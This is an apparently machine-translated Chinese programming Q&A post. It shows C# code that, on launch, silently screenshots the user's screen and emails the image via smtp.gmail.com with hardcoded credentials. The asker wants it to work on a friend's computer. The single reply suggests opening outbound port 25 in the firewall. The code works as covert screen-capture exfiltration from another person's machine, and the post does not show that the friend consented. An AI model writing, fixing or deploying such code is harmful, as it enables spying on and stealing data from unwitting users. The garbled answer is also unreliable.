我有一个应用程序在运行时发送邮件。当我在我的计算机上运行此应用程序时,电子邮件发送操作已成功完成(我在visual studio和.exe上运行)并收到邮件,但当我将我的应用程序作为.exe应用程序发送给我的朋友时(两个版本)尝试“发布”和“调试文件夹”)他运行,没有邮件发送和接收。这是我的代码;
public partial class Form1 : Form
{
public static String path = "C:\\Screenshot123.jpeg";
public Form1()
{
InitializeComponent();
Screenshot();
sendMail();
}
private static Bitmap Screenshot()
{
Bitmap Screenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
Graphics GFX = Graphics.FromImage(Screenshot);
GFX.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size);
Screenshot.Save(path);
return Screenshot;
}
private static void sendMail()
{
MailMessage ePosta = new MailMessage();
ePosta.From = new MailAddress("mymail@gmail.com"); // sender and reciver are same
ePosta.To.Add("mymail@gmail.com");
ePosta.Attachments.Add(new Attachment(path));
SmtpClient smtp = new SmtpClient();
smtp.Credentials = new System.Net.NetworkCredential("mymail@gmail.com", "password");
smtp.Port = 25;
smtp.Host = "smtp.gmail.com";
smtp.EnableSsl = true;
smtp.SendAsync(ePosta, (object)ePosta);
}
}
答案 0 :(得分:0)
也许防火墙是开放的。 你能行的。 Windows防火墙 - >高级设置 - > OutBound规则 - >新规则 添加25端口